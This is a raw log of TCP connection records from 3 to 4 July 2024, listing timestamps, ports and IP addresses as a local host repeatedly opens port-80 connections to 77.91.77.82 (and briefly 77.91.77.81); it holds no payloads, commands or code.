Jul 3, 2024 23:59:58.903224945 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:59.125451088 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:59.125648975 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.241827011 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.242147923 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.247219086 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:59.247246027 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:59.247315884 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.247353077 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.247519016 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.252537012 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:59.942655087 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:59.942797899 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.943630934 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:59.948470116 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:00.171189070 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:00.171271086 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.273293972 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.273678064 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.278577089 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:00.278645992 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.278839111 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.279021978 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:00.279069901 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.283693075 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:00.967987061 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:00.968137026 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.974210978 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:00.979075909 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:01.190133095 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:01.190268993 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:01.304418087 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:01.304754972 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:01.309588909 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:01.309660912 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:01.309714079 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:01.309776068 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:01.309935093 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:01.314774036 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:02.035501957 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:02.035561085 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.036278963 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.042138100 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:02.261713982 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:02.261959076 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.367002964 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.367448092 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.373320103 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:02.373408079 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.373517990 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.374147892 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:02.374202013 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:02.379133940 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:03.106025934 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:03.106179953 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.106898069 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.111640930 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:03.335021019 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:03.335134029 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.444972992 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.445343018 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.452497005 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:03.452599049 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.452752113 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.452975988 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:03.453026056 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:03.459167957 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:04.155359030 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:04.155495882 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.156115055 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.160857916 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:04.374691010 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:04.374753952 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.476227999 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.476605892 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.481432915 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:04.481506109 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:04.481528044 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.481550932 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.481717110 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:04.486532927 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:05.184099913 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:05.184207916 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.185698986 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.191091061 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:05.527673006 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:05.527806997 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.632415056 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.632725954 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.637907982 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:05.637988091 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.638664961 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:05.638737917 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.638847113 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:05.643706083 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:06.343930006 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:06.344014883 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.346823931 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.351650953 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:06.572091103 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:06.572165966 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.679450035 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.679796934 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.684576035 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:06.684667110 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:06.684773922 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.684773922 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.684849024 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:06.689646006 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:07.398030996 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:07.398111105 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.398652077 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.403480053 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:07.620579958 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:07.620774031 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.726332903 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.726691008 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.735085964 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:07.735183001 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.735213995 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:07.735321999 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.735353947 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:07.743093014 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.234987020 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.235088110 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.235743046 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.238255024 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.238306046 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.241208076 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.241269112 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.243454933 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.455126047 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.455212116 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.569956064 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.570261955 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.577459097 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.577529907 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.577666998 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:09.577732086 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.577914000 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:09.585526943 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:10.280209064 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:10.280720949 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.280865908 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.287465096 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:10.503103018 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:10.503201962 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.617710114 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.618310928 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.622868061 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:10.622924089 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.623102903 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:10.623156071 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.623398066 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:10.628287077 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:11.316747904 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:11.316931963 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.318363905 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.323458910 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:11.535394907 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:11.535495043 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.648078918 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.648366928 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.653892994 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:11.653948069 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.654150009 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:11.654207945 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.654308081 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:11.660343885 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:12.364047050 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:12.364149094 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.366151094 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.370882034 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:12.591315031 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:12.591372013 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.694936991 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.695235968 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.700084925 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:12.700145960 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.700222015 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:12.700385094 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.700535059 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:12.705476046 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.429399014 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.429460049 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.430263996 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.436856985 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.659898996 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.660126925 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.773299932 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.773894072 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.780433893 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.780523062 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.780684948 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:13.787072897 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.797456980 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:13.797511101 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.500685930 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:14.500921965 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.501521111 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.509176016 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:14.721684933 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:14.721780062 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.835618973 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.836015940 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.842195034 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:14.842288971 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.842407942 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.842525959 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:14.842582941 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:14.848921061 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:15.539320946 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:15.539450884 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.544287920 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.549066067 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:15.758867025 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:15.758975029 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.866833925 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.867172956 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.872134924 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:15.872181892 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:15.872210026 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.872289896 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.872400045 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:15.877127886 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:16.624800920 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:16.625111103 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.626358032 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.631272078 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:16.851551056 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:16.851640940 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.965246916 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.965528965 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.970455885 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:16.970557928 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.970643997 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.972433090 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:16.972532988 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:16.975433111 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:17.698126078 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:17.698216915 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:17.698936939 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:17.703742027 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:17.918261051 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:17.918328047 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.023159981 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.023483038 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.028424978 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:18.028565884 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:18.028645992 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.028778076 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.028778076 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.033906937 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:18.744509935 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:18.744566917 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.745270967 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:18.751662970 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:18.968132019 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:18.968199968 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.069979906 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.070270061 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.076550961 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:19.076623917 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.076786995 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.076873064 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:19.076920986 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.083543062 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:19.787564993 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:19.787638903 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.788461924 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:19.795557022 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:20.019428015 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:20.019529104 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.132432938 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.132875919 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.139647961 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:20.139743090 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.139903069 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.140034914 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:20.140094995 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.146235943 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:20.838840008 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:20.838896990 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.841734886 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:20.846596956 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.058979988 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.059079885 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.163866043 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.164156914 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.170248032 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.170325041 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.170412064 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.170458078 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.170525074 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.177300930 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.879792929 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.880036116 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.885025978 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.885339975 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.892175913 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.892532110 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.892604113 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.892604113 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.892796993 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:21.897718906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 00:00:21.899605036 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:21.904864073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 00:00:21.907999039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 00:00:22.616210938 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:22.616328001 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:22.728979111 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:22.729341984 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:22.734163046 CEST	80	49799	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:22.734210014 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:22.734252930 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:22.734277964 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:22.734822989 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:22.739664078 CEST	80	49799	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:23.430891037 CEST	80	49799	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:23.430974960 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:23.434389114 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:23.434719086 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:23.439913988 CEST	80	49799	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:23.439938068 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:23.439976931 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:23.440035105 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:23.440145969 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:23.446156025 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:24.172101974 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:24.172375917 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:24.291609049 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:24.291888952 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:24.297312975 CEST	80	49800	77.91.77.82	192.168.2.4
